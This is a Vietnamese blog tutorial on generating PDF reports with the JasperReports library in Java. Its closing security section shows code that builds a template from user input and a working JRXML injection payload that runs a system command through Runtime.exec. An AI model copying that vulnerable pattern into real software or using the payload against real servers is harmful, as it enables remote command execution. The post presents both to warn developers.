1. Lời mở đầu
Trong thực tế, ta thấy yêu cầu thống kê và xuất dữ liệu ra theo một định dạng nhất định rất phổ biến. Chẳng hạn như chúng ta nhận được yêu cầu xuất báo cáo thống kê khách hàng, xuất hóa đơn bán hàng, hóa đơn mua hàng, ... Điều này đòi hỏi con người (đặc biệt là lập trình viên) tạo ra một phần mềm có thể linh hoạt tạo được các template để có thể xuất dữ liệu lên đó theo từng hoàn cảnh và yêu cầu cụ thể. Có thể bạn nghĩ ngay đến giải pháp là sử dụng Word, Excel, ..., tuy nhiên giải pháp này lại không phù hợp với lượng dữ liệu lớn, có thể thay đổi liên tục, phát triển trong thời gian ngắn, trong khi đó còn yêu cầu trả phí phần mềm, thời gian xử lí dữ liệu cũng không được tối ưu.
Hiện nay có một giải pháp khá phổ biến - thư viện JasperReports được khá nhiều lập trình viên ưa thích sử dụng.
Đặc biệt, thư viện này có mã nguồn mở và có phiên bản miễn phí. Các bạn có thể truy cập mã nguồn của nó tại: https://github.com/TIBCOSoftware/jasperreports
2. Hướng dẫn sử dụng
Trên mạng đã có khá nhiều hướng dẫn sử dụng thư viện này, do đó mình sẽ không viết chi tiết ở đây.
Nếu các bạn dùng Eclipse, JasperReports đã có thêm plugin hỗ trợ các bạn tạo template báo cáo.
Trong bài viết này mình sẽ hướng dẫn các bạn dùng trên IntelliJ IDEA, trình quản lí thư viện là maven nhé.
Đầu tiên các bạn cần template để fill dữ liệu vào (giống như các loại đơn, hóa đơn, ... đó). Để làm được điều này các bạn hãy tải và cài đặt phần mềm Jaspersoft Studio nhé (link bản Community mới nhất hiện tại là https://community.jaspersoft.com/files/file/19-jaspersoft%C2%AE-studio-community-edition/?do=getNewComment).
Sau khi cài đặt và mở lên, phần mềm sẽ có giao diện như sau:
Để tạo template mới các bạn vào File -> New -> Jasper Report. Trong mục All, các bạn chọn Blank A4 (hoặc mẫu khác các bạn thích cũng được :>).
Bấm Next, dự án nơi lưu file. Bấm Next -> Next -> Finish. Giao diện mới hiện ra là màn hình template, nơi các bạn thoả sức thiết kế theo mẫu của mình.
Bên phải là các đối tượng được thư viện hỗ trợ sẵn.
Giả sử mình phải làm form hóa đơn mua hàng đơn giản có tiêu đề và tên mặt hàng. Mình sẽ kéo thả đối tượng "Static text" vào trong template và điền tên là "HÓA ĐƠN MUA HÀNG" (format các bạn tự chỉnh ở góc phải màn hình nhé).
Tiếp theo mình kéo thêm 2 đối tượng như vậy nữa nhưng làm mục mặt hàng bên dưới là "Sách" và "Bút".
Tiếp theo mình phải thêm giá tiền 2 mặt hàng này. Giá trị này là động nên mình phải đưa vào đây một biến (đây cũng là tính năng khá thú vị là linh hoạt của thư viện này). Tại mục outline, phần Parameters, các bạn nháy chuột phải, chọn "Create Parameter". Sau đó mình sửa đổi giá trị của biến này ở cửa sổ góc phải, tên biến là book và có kiểu dữ liệu là số thực.
Sau đó mình kéo thả nó cạnh nhãn "Sách". Tương tự với biến "bút", và tổng số tiền. Ở đây tổng số tiền các bạn có thể gán cho nó giá trị bằng tổng của biến "book" và "pen".
Sau khi làm xong template có dạng như này
Các bạn chuyển qua tab source, và đây chính là phần dữ liệu mà hệ thống sẽ xử lí. Về căn bản, Jasper Report sẽ nhận dữ liệu đầu vào là file có định dạng tựa như XML, tuy nhiên các tên các thẻ sẽ được thư viện quy định sẵn. Chẳng hạn mở thẻ và đóng thẻ của lớp cha toàn bộ file phải là thẻ "jasperReport". Ở đây có một số kí hiệu template các bạn phải lưu ý:
- "$P{}": dữ liệu được thêm động vào báo cáo, có thể là cặp key-value, có thể là datasource.
- "$F{}": trường dữ liệu phức tạp được thêm vào báo cáo từ datasource.
- "$V{}": Dữ liệu được sinh ra tự động theo một biểu thức có sẵn hoặc tự định thêm. ... Các bạn có thể tham khảo thêm ở (https://www.tutorialspoint.com/jasper_reports/jasper_report_expression.htm)
Sau khi làm xong, các bạn bắt đàcó thể copy file này vào dự án của mình để tiến hành fill dữ liệu và xử lí.
Sau đó các bạn tiến hành import thư viện sau:
<dependency>
<groupId>net.sf.jasperreports</groupId>
<artifactId>jasperreports</artifactId>
<version>6.21.0</version>
</dependency>
<dependency>
<groupId>net.sf.jasperreports</groupId>
<artifactId>jasperreports-fonts</artifactId>
<version>6.21.0</version>
</dependency>
Tiến hành viết mã để import file và fill dữ liệu.
final String outputFilename = "report.pdf";
Files.deleteIfExists(new File(outputFilename).toPath());
InputStream inputStream = Main.class.getResourceAsStream("/report.jrxml");
Map<String, Object> parameters = new HashMap<>();
parameters.put("book", 55000);
parameters.put("pen", 11111.1111);
JasperReport jasperReport = JasperCompileManager.compileReport(inputStream);
JasperPrint jasperPrint = JasperFillManager.fillReport(jasperReport, null, new JREmptyDataSource());
JasperExportManager.exportReportToPdfFile(jasperPrint, outputFilename);
Ở đây do ta fill trực tiếp nên có thể dùng class Map. Nếu các bạn muốn fill dữ liệu từ datasource (Database, ...) thì có thể tham khảo thêm tại (https://www.baeldung.com/spring-jasper).
Kết quả như sau
3. Lập trình an toàn
Do trong quá trình render template này, thư viện cũng thực hiện thực thi các hàm bên trong nó, nên nếu để người dùng có thể tùy chỉnh các thẻ template thì các attacker sẽ thêm các thẻ độc hại, có thể thực thi command. Lỗi này khá giống với SSTI.
Giả sử người dùng được phép chỉnh sửa trực tiếp vào template. Source code như sau:
final String outputFilename = "out.pdf";
Files.deleteIfExists(new File(outputFilename).toPath());
String input = "";
String template = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<jasperReport xmlns=\"http://jasperreports.sourceforge.net/jasperreports\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd\" name=\"z\" pageWidth=\"500\" pageHeight=\"1200\" columnWidth=\"270\">\n" + input + "</jasperReport>";
InputStream inputStream = new ByteArrayInputStream(template.getBytes());
JasperReport jasperReport = JasperCompileManager.compileReport(inputStream);
JasperPrint jasperPrint = JasperFillManager.fillReport(jasperReport, null, new JREmptyDataSource());
JasperExportManager.exportReportToPdfFile(jasperPrint, outputFilename);
Attacker tiến hành điền các hàm độc hại nhằm chiếm quyền điều khiển hệ thống:
String input = "<parameter name=\"cmd\" class=\"java.lang.String\">\n" +
" <defaultValueExpression>\"id\"</defaultValueExpression>\n" +
" </parameter>\n" +
" \n" +
" <group name=\"grp\">\n" +
" <groupExpression><![CDATA[true]]></groupExpression>\n" +
" <groupHeader>\n" +
" <band height=\"1100\">\n" +
" <textField>\n" +
" <reportElement height=\"1000\" width=\"500\" x=\"120\" y=\"26\" forecolor=\"#222222\"/>\n" +
" <textFieldExpression class=\"java.lang.String\">\n" +
" <![CDATA[new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec($P{cmd}).getInputStream())).readLine()]]>\n" +
" </textFieldExpression>\n" +
" </textField>\n" +
" </band>\n" +
" </groupHeader>\n" +
" </group>\n";
Kết quả là command được thực thi. File "out.pdf" có nội dung như sau:
Nên các lập trình viên cũng phải lưu ý không cho người dùng nhập trực tiếp nội dung vào template.
Ngoài ra thư viện này cũng có lỗ hổng ở các phiên bản cũ (CVE-2018-18809, CVE-2022-42889, ...), khi lập trình ta nên lưu ý nên dùng bản mới nhất và cập nhật thường xuyên.
Top comments (0)